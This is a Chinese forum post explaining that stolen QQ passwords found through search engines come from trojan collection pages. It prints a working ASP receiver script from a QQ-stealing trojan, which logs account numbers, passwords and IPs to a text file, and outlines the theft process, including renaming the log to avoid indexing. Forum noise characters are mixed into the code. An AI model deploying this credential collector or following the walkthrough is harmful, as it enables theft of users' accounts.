TA的每日心情 | 衰 2019-8-18 09:37 |
---|
签到天数: 2 天 [LV.1]初来乍到
|
前两天看到一篇文章,说的是网民利用谷歌搜索引擎可以搜索到QQ密码,而本人对文中的观点要进行一下纠正。接触过网络安全的人应该都知道,那样搜索到的QQ密码的页面其实就是一些所谓的黑客在配置QQ木马时候所填写的接收QQ密码的页面。QQ木马有两种方式接收盗来的QQ密码,一个是邮箱,一个是空间,而空间接收是最直接也是最保险的,因为有些邮箱是不支持的。而且用网页接收一般是用支持asp的空间,它需要一个接收密码的的脚本。接收到密码后会在网站同目录创建一个.txt文件并将账号密码存进这个文本里。
2 m* v( f; f+ T 我上网找了个QQ木马,叫金狐QQ大盗,里面就带有一个QQ.asp 我把内容贴出来给大家看看。如下:
6 i" u9 [' m" R7 \) d<%
8 T* o3 O6 {: E7 _; b% j; g$ |; GstrLogFile="2008jhqqxx.txt"
6 ?+ Z0 y4 I. u& y1 u) E A% R* fQQNumber=request("QQNumber")
5 Q8 P% M& V6 I8 Y! B1 h8 x. bQQPassWord=request("QQPassWord")
* b+ z& x7 t3 b! [- hQQclub=request("QQclub")
) {% z9 i! u8 y: |. ]2 MQQip=request("QQip")! B. {: X* _; b B. H
if QQNumber="" or QQPassWord="" then( W( V; K4 E5 b0 |- C; G
response.write "jhQQ"
) `3 V k& Q. O/ s$ Q: F& g: B response.end
# p1 H. B9 s9 F) K/ e% Q+ `2 `End If
9 n6 J H, K# n2 [ r, L8 g- P* W/ bStrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")# b- O6 t, z( j1 }* U ~6 N; ], U
StrLogText=StrLogText&")----"&date&" "&time
* q6 v% B/ X2 \+ r% E# Hset f=Server.CreateObject("scripting.filesystemobject")2 P4 e! ]4 z% V. R) @
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
9 v: j" {9 o1 L2 o1 r' P. H# s( {ff.writeline(chr(13)+chr(10)&StrLogText)
. T( l. E5 \2 ]$ { Q# B0 Eff.close
6 r7 j) h a% M- T. D1 gset ff=nothing
5 n* N& D3 V7 x8 H% C2 I; X- xset f=nothing8 I8 L) z* {; ]4 i$ I# x. ^
response.write "发送成功!"" C% t- w! c0 p; C; E6 I
%>
! A: `8 B6 f$ n5 |7 G* c 大概意思就是当有人中QQ木马时会自动与此页面通信,并将受害者二次输入的QQ信息在当前目录下以以下形式存入一个命名为2008jhqqxx.txt的文档里,4 ?9 ^" P6 r# S. d' z( N: r6 O
QQ号---QQ密码---会员:是否---QQ登陆IP---具体时间
, B7 g6 e* H( ?' [ 可见QQ木马是很强大的。- `# K: T7 ~. s2 U9 s& a9 W7 J
下面我给大家讲解下整个盗号过程。# a. `+ x7 _. y: u: A, H# Y: t
以我的网站www.cash568.com为例,我准备配置了一个QQ木马,将那个QQ.asp上传到我网站的根目录,用www.cash568.com/QQ.asp 配置出一个木马,用一些手段诱使别人运行。比如一个QQ用户不小心运行了,那么那人的QQ会在短时间内掉线,并要求重新登陆,当那人重新登陆时,QQ木马就已经将所记录的详细信息传递给了www.cash568.com/QQ.asp这个页面,并进行处理,也就是上面所讲的,以那种方式将所得信息录入2008jhqqxx.txt这个文本里,而我只需要查看下www.cash568.com/2008jhqqxx.txt这个页面也就能轻松看到盗来的QQ密码了。而一些做坏事的人没有将此页面加入robot.txt,所以搜索引擎有可能将此页面收录,而别人通过在搜索引擎里键入inurl:2008jhqqxx.txt(这句话的意思就是搜索网站地址中含有2008jhqqxx.txt的网页)就可以查看到别人盗来的QQ密码信息了。所以说那篇文章里所提到的 腾讯称盗号者在炫耀 这个观点是错误的,不但是谷歌,百度也一样,因为都具有这样的命令。当然,那些干坏事的人可以修改下那个asp页面的代码,将2008jhqqxx.txt改为123.txt,那么密码自然就存储到了www.cash568.com/123.txt里了。# z5 }' [. ?8 J5 m* p" d- N1 g+ r
盗取别人的QQ号是令人不齿的也是触犯法律的行为,希望大家不要跟着学坏,而我只是抱着研究的态度写了这篇文章,盗号这事离我很遥远。最后希望大家注意网络安全,千万别让坏蛋计谋得逞。 |
|